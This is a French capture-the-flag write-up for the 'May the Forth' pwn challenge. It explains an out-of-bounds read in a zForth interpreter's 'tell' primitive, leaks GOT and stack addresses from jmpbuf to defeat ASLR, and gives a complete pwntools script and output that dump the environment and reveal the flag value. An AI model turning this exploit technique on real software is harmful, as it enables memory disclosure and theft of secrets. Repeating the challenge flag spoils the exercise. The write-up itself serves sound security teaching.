Solution de OliverSwift pour May the Forth

pwn x86/x64

25 janvier 2025

Rappel de l’objectif

Trouver le contenu de la variable FLAG dans l’environnement du process de l’interpréteur.

L’interpréteur

Tout d’abord il faut vite se rendre compte que l’interpréteur doit être chargé avec un bootstrap Forth fourni dans le fichier ‘core.zf’. Une fois lancé le message de bienvenue est affiché, c’est celui qui correspond à celui reçu avec le Docker (via locahost:4000):

$ ./may-the-forth public/core.zf 
Welcome to zForth, 1199 bytes used

On joue avec pour découvrir quelques primitives (définies dans core.zf). Le forth est un langage à pile, les opérandes sont empilées et dépilées pour ếtre consommées par une primitive, une fonction etc.

Les fonctions et les variables sont stockées dans un dictionnaire. Notre FLAG n’est pas une variable Forth. Les valeurs manipulées sont soit des chaînes de caractères soit des flottants.

L’exécutable est un binaire 32 bits:

$ file may-the-forth
may-the-forth: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=28140ea4a5e742adc9fbba4248c1919d6774fcce, for GNU/Linux 3.2.0, with debug_info, not stripped

Compilé en debug avec les symboles. A noter qu’il est linké dynamiquement et que le code est PIC (position independant code). Les adresses des symboles en exécution varient à cause de l’ASLR.

On se lance dans l’analyse des sources.

Le Patch

On est aidé car un fichier patch nous transmet la modification qu’il faudrait aporter au code pour corriger une exploitation possible.

En effet la partie du code à patcher est :

               case ZF_SYSCALL_TELL: {
                        zf_cell len = zf_pop();
                        void *buf = (uint8_t *)zf_dump(NULL) + (int)zf_pop();
                        (void)fwrite(buf, 1, len, stdout);
                        fflush(stdout); }
                        break;

et ajoute un contrôle sur un débordement qui permet de lire de la mémoire au delà de la fin d’un tableau. On sait donc que cette vulnérabilité réside ici.

Ici, c’est l’exécution du ‘syscall’ N°2 qui consiste à ‘dumper’ le dictionnaire de l’interpréteur. En effet la fonction ‘zf_dump’ retourne l’adresse de la variable globale ‘dict’ (l’argument étant NULL):

void *zf_dump(size_t *len)
{               
        if(len) *len = sizeof(dict);
        return dict;    
}                       

La variable globale en question déclarée dans ‘zforth.c’ :

/* Stacks and dictionary memory */

static zf_cell rstack[ZF_RSTACK_SIZE];
static zf_cell dstack[ZF_DSTACK_SIZE];
static uint8_t dict[ZF_DICT_SIZE];

/* State and stack and interpreter pointers */
    
static zf_input_state input_state;
static zf_addr dsp;
static zf_addr rsp;
static zf_addr ip;
    
/* setjmp env for handling aborts */
 
static jmp_buf jmpbuf;

entourée d’autres variables bien entendu.

Exploitation basique de la vulnérabilité

La primitive ’tell’ (ou syscal N°2) prend deux valeurs sur la pile. La première c’est la longueur des données à afficher et la deuxième est l’offset dans le dictionnaire. La sortie de cette zone mémoire est affichée DIRECTEMENT sur stdout.

Elle s’utilise ainsi:

$ ./may-the-forth public/core.zf 
Welcome to zForth, 1199 bytes used
0 100 tell
��$exit#lit"<0!#:a);!.+!3-!8*!=!B%	$Gdrop
#Ldup
     %Tpickr

Ici on demande d’afficher 100 octets à partir du début du dictionnaire (offset = 0). C’est brut comme sortie (fwrite sur stdout).

Comme il n’y a aucun contrôle de l’adresse on comprend qu’on peut aller dumper la mémoire du processus. Mais cela dans une certaine limite. En effet la ligne de code étant la suivante :

void *buf = (uint8_t *)zf_dump(NULL) + (int)zf_pop();

On peut donc apriori uniquement avoir un offset proposer par le cast en (int). Soit de -2147483648 à +2147483647 venant d’une valeur flottante (collectée via zf_pop). On reviendra plus tard sur cet aspect, l’opération de cast de ‘float’ en ‘int’ est cruciale.

Donc si on essaye de demander une adresse au delà de la limite de la variable dict (4096 octets) ça passe:

$ ./may-the-forth public/core.zf 
Welcome to zForth, 1199 bytes used
-10000 100 tell
�E�P�U�P�u��,�������
                    �u��]�������E��E����uʐ��]���U��S��$�G�����'%�]��
                                                                    ���P������

ou ça casse ! Si c’est un accès dans les pages non mappées qui provoquent un SIG_SEGV (segmentation violation).

Très bien, mais cela ne nous permet pas d’écrire, juste de lire.

Ok, mais lire quoi ?

L’environnement

Le FLAG est une variable d’environnement. Sous UN*X tout l’environnement est stockée sur la pile. Le code source ne montre aucun usage de l’environnement avec la fonction getenv. Nous n’avons qu’une seule est unique possibilité de voir le contenu de l’environnement : lire son contenu quelque part dans la pile. Mais où ?

Rappelons le prototype complet de la fonction main des processus UN*X:

int main(int argc, char *argv[], char *envp[]);

Voilà où trouver l’environnement. Cela requiert deux choses importantes :

  • Connaître l’adresse de la variable ‘dict’
  • Connaître l’adresse de la pile à l’entrée (main) du processus

En effet, une fois l’adresse de la pile connue, on calcule un offset par rapport à ‘dict’ et on utilise la primitive ’tell’.

setjmp

Un examen du code nous montre l’usage du couple setjmp/longjmp. Très utilisé pour gérer des exceptions en C. Surtout pour les parseurs (la librairie JPEG est un exemple), et ici chaque exécution de primitive est “encadrée” par ces coroutines.

En effet dans le fichier zforth.c, la fonction d’evaluation d’une expression est :

/*
 * Eval forth string
 */

zf_result zf_eval(const char *buf)
{
        zf_result r = (zf_result)setjmp(jmpbuf);

        if(r == ZF_OK) {
                for(;;) {
                        handle_char(*buf);
                        if(*buf == '\0') {
                                return ZF_OK;
                        }   
                        buf ++; 
                }   
        } else {
                COMPILING = 0;
                rsp = 0;
                dsp = 0;
                return r;
        }   
}

Le principe réside sur une sauvegarde de contexte (setjmp) et une restauration de contexte (longjmp) quelque soit le niveau d’appels. C’est à dire qu’on rétablit les registres comme si on venait de cette partie du code. Pour ceci, on se doute qu’il faut sauvegarder la pile et d’autres éléments qui vont aider à rétablir l’état du programme (voir les calling conventions pour plus de détails).

La variable qui sauvegarde le contexte de setjmp est jmpbuf. Elle ne se trouve pas bien loin de la variable dict, donc son contenu sera facilement lisible avec la primitive ’tell’.

Parfait, mais que contient la variable jmpbuf ? Pour cela, il faut retrouver le code dans la Lib C. Pour se faire, on prend les sources de la glibc-2.35 (celles de mon host Ubuntu, donc les packages source de debian). Et nous inspectons le code de sigsetjmp dans le fichier ‘sysdeps/i386/setjmp.S’ (version épurée ici):

ENTRY (__sigsetjmp)

        movl JMPBUF(%esp), %eax

        /* Save registers.  */
        movl %ebx, (JB_BX*4)(%eax)
        movl %esi, (JB_SI*4)(%eax)
        movl %edi, (JB_DI*4)(%eax)
        leal JMPBUF(%esp), %ecx /* Save SP as it will be after we return.  */
        movl %ecx, (JB_SP*4)(%eax)
        movl 0(%esp), %ecx      /* Save PC we are returning to now.  */
        LIBC_PROBE (setjmp, 3, 4@%eax, -4@SIGMSK(%esp), 4@%ecx)
        movl %ecx, (JB_PC*4)(%eax)
        movl %ebp, (JB_BP*4)(%eax) /* Save caller's frame pointer.  */

        xorl %ecx, %ecx

        /* Get the current Shadow-Stack-Pointer and save it.  */
        rdsspd %ecx
        movl %ecx, SHADOW_STACK_POINTER_OFFSET(%eax)

        /* Make a tail call to __sigjmp_save; it takes the same args.  */
        jmp __sigjmp_save
END (__sigsetjmp)

Donc la variable jmpbuf contient au début une sauvegarde des registres %ebx, %esi, %edi et %esp. Ce sont ceux qui nous intéressent. Notamment nous avons la valeur du pointeur de pile au moment de l’installation de ‘setjmp’. C’est le 4ème du groupe de valeurs de 32 bits. Mais ce qui est crucial, c’est %ebx (1er du groupe), il contient le pointeur vers la GOT (Global Offset Table) ! On se souvient que l’exécutable est PIC, donc nous ne pouvons pas connaître de manière permanente les adresses des fonctions et des variables. C’est cette table qui permet de connaître les offsets entre certains symboles.

En d’autres termes, juste avant l’appel à la primitive ’tell’ nous serons en mesure de lire jmpbuf et de connaître la valeur du pointer sur la GOT et la valeur du pointeur de pile à cet endroit précis.

Nous cherchons l’adresse de dict et l’adresse de la pile à l’entrée de main.

Nous allons utiliser GDB pour calculer nos deux adresses après l’installation de ‘setjmp’.

L’aide de GDB

Nous lançons l’interpréteur sous gdb :

$ gdb ../may-the-forth 
Reading symbols from ../may-the-forth...
(gdb) b main
Breakpoint 1 at 0x1923: file main.c, line 211.
(gdb) b 132
Breakpoint 2 at 0x1715: file main.c, line 132.
(gdb) list 132
127				printf(ZF_CELL_FMT " ", zf_pop());
128				break;
129	
130			case ZF_SYSCALL_TELL: {
131				zf_cell len = zf_pop();
132				void *buf = (uint8_t *)zf_dump(NULL) + (int)zf_pop();
133				(void)fwrite(buf, 1, len, stdout);
134				fflush(stdout); }
135				break;
136	
(gdb) r core.zf 
Starting program: /home/olivier/Hackropole/May The Forth/may-the-forth core.zf
...
Breakpoint 1, main (argc=2, argv=0xffffcff4) at main.c:211
211		int trace = 0;
(gdb) p &argc
$1 = (int *) 0xffffcf40
(gdb) c
Continuing.
Welcome to zForth, 1199 bytes used
0 0 tell

Breakpoint 2, zf_host_sys (id=ZF_SYSCALL_TELL, input=0x0) at main.c:132
132				void *buf = (uint8_t *)zf_dump(NULL) + (int)zf_pop();
(gdb) p/x jmpbuf 
$2 = {{__jmpbuf = {0x5655b000, 0xffffcf40, 0xf7ffcb60, 0xffffbea8, 0x7eaaaa81, 0x2ac3a9d2}, __mask_was_saved = 0x0, 
    __saved_mask = {__val = {0x0 <repeats 32 times>}}}}
(gdb) p/x 0xffffcf40 - 0xffffbea8
$4 = 0x1098
(gdb) p &dict
$6 = (uint8_t (*)[4096]) 0x5655b1a0 <dict>
(gdb) p/x 0x5655b1a0 - 0x5655b000
$7 = 0x1a0
(gdb) p &jmpbuf 
$8 = (jmp_buf *) 0x5655c1c0 <jmpbuf>
(gdb) p 0x5655c1c0 - 0x5655b1a0
$9 = 4128
(gdb) 

Dans cette séquence nous obtenons donc:

  • L’offset entre l’adresse de la GOT et celle de ‘dict’ (constant) -> 0x1A0
  • L’offset entre la sauvegarde de la pile (ESP) et l’adresse de argc -> 0x1098
  • L’offset entre l’adresse de dict et celle de jmpbuf -> 4128

Plan de bataille

Les actions à dérouler sont donc :

  • Utiliser tell pour lire le contenu de jmpbuf (4128 6 tell)
  • Extraire l’adresse de la GOT et la valeur de ESP
  • Calculer l’adresse de dict et celle de argc
  • Avec l’adresse de argc, retrouver celle de env (3ème argument)
  • Lire le contenu de env pour trouver l’adresse du tableau env
  • Lire le contenu du tableau et donc de toutes les variables d’environnement

Donc les lectures des zones mémoires sont juste un calcul d’un offset entre dict et l’adresse cible à fournir à la primitive ’tell’.

Exploitation de tell

Pour lire le contenu d’une zone mémoire il faut donc un offset entre dict et l’adresse cible et une longueur. Puis on invoque la primitive :

<offset> <len> tell

On lit la sortie brute pour le contenu de la mémoire.

Le calcul de l’offset se fait ainsi :

Offset = &dict - 0x100000000 + <adresse_cible>

On obtient un entier négatif qui fournit à tell comme décalage d’adresse nous donne l’adresse cible.

Ca serait trop facile. En effet les données numériques sont interprétées en tant que flottants. Or la mantisse n’a pas la résolution pour représenter exactement l’intégralité d’un entier (23 bits de mantisse).

Rappel de la ligne de calcul:

void *buf = (uint8_t *)zf_dump(NULL) + (int)zf_pop();

zf_pop retourne un flottant ensuite casté en int. C’est à ce moment que nous perdons de la précision et que notre offset final n’est pas exactement celui que nous avons fourni à l’interpréteur.

On peut s’en apercevoir avec l’interpréteur en utilisant la primitive ‘.’ qui affiche la valeur sur la pile forth. Imaginons que aillons calculé un offset de -1448469088 pour lire la mémoire à l’adresse de argc :

-1448469088 .
-1448469120

L’interpréteur nous retourne une valeur qui n’est PAS celle que nous voulions. Il faut faire avec. Avec les règles suivantes :

  • Si la valeur est inférieure à celle attendue on doit lire davantage d’octets que prévu. Ici on demandera 32 octets supplémentaires puisque l’offset finale se trouve avant l’adresse cible.
  • Si la valeur est supérieure nous allons “louper” la zone cible. Une astuce utilisée dans cette solution est de réduire la valeur initiale par pas de 32 jusqu’à ce que l’interpréteur nous renvoie une valeur inférieure attendue. On fait donc ensuite la différence entre la valeur obtenue et la valeur de l’offset d’origine pour obtenir l’excédent d’octets à lire.

Il est fort possible qu’il y ait une meilleure méthode. Celle-ci étant simple à mettre en place dans ce contexte.

Python pwn

Tout ce plan de bataille est finalement implémenté dans le script Python suivant reposant sur le module ‘pwn’.

from pwn import *

# Computes an offset value from dict to target address that would be usable with tell primitive.
# Returns the adjusted offset value and the extra bytes to read to reach the target address
def computeNearestOffset(address):
    global a_dict

    delta = 0x100000000 - address
    delta += a_dict
    delta = -delta

    d = delta

    while True:
        r.sendline(f'{d} .'.encode())
        resp = r.recvuntil(b'\n')
        if resp == b'\n':
            resp = r.recvuntil(b'\n')
        delta2 = int(resp.decode())

        if delta2 < d:
            extra = delta - delta2
            break
        d -= 32
    return (delta2, extra)

# Set logging level
#context.log_level = "DEBUG"  # or INFO, WARNING, ERROR

# Connect to docker application via TCP socket
r = remote("localhost", 4000)
#r = process(["./may-the-forth","public/core.zf"])

# Wait for Forth prompt
data = r.recvuntil(b'Welcome to zForth, 1199 bytes used')

# Dump JMPBUF
r.sendline(b'4128 24 tell')
jmpbuf = r.recv_raw(numb=25)  # 24 bytes and \n
#print(jmpbuf.hex())

# Retrieve GOT and ESP
got = int.from_bytes(jmpbuf[0:4], byteorder='little')
esp = int.from_bytes(jmpbuf[12:16], byteorder='little')

print("GOT=",hex(got))
print("ESP=",hex(esp))

# Compute &argc et &dict
a_argc = esp + 0x1098
a_dict = got + 0x1A0

print("&argc =", hex(a_argc))
print("&dict =", hex(a_dict))

# Dump 3 arguments on main's stack to reach *env[]
(offset, extra) = computeNearestOffset(a_argc)

r.sendline(f'{offset} {extra+12} tell'.encode())

main_stack = r.recv_raw(numb=extra+12+1)  # extra bytes and \n
#print(main_stack.hex())

# Get *env[]
a_env = int.from_bytes(main_stack[extra+8:extra+12], byteorder='little')

print("&env =", hex(a_env))

(offset, extra) = computeNearestOffset(a_env)

# Get env[]
r.sendline(f'{offset} {extra+4} tell'.encode())

p_env = r.recv_raw(numb=extra+4+1)  # extra bytes and \n
#print(p_env.hex())

env = int.from_bytes(p_env[extra:extra+4], byteorder='little')

print("ENV =", hex(env))

(offset, extra) = computeNearestOffset(env)

# Get arbitrary 1000 characters from env
r.sendline(f'{offset} {extra+1000} tell'.encode())

# Print them out as ascii
content = r.recv()[extra:].decode('ascii')

print(content)

r.close()

En toute rigueur il faudrait lire les pointeurs du tableau env[] et ensuite lire toutes les entrées que sont les variables. Mais dans la grande majorité des cas les chaînes sont rangées les unes à la suite des autres en mémoire. D’où ce raccourci à la fin.

Le final

On l’exécute :

$ python3 flag.py 
[+] Opening connection to localhost on port 4000: Done
GOT= 0x655cb000
ESP= 0xffca2408
&argc = 0xffca34a0
&dict = 0x655cb1a0
&env = 0xffca3550
ENV = 0xffca48d5
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\x00HOSTNAME=ae71eee3f136\x00FLAG=FCSC{c7d99be764cf1fbdc3447eb935b51285}\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.t

[*] Closed connection to localhost port 4000

Note: les valeurs des adresses varient d’un appel à l’autre (à cause l’ASLR)

On aperçoit la variable d’environnement FLAG:

FLAG=FCSC{c7d99be764cf1fbdc3447eb935b51285}

Tada.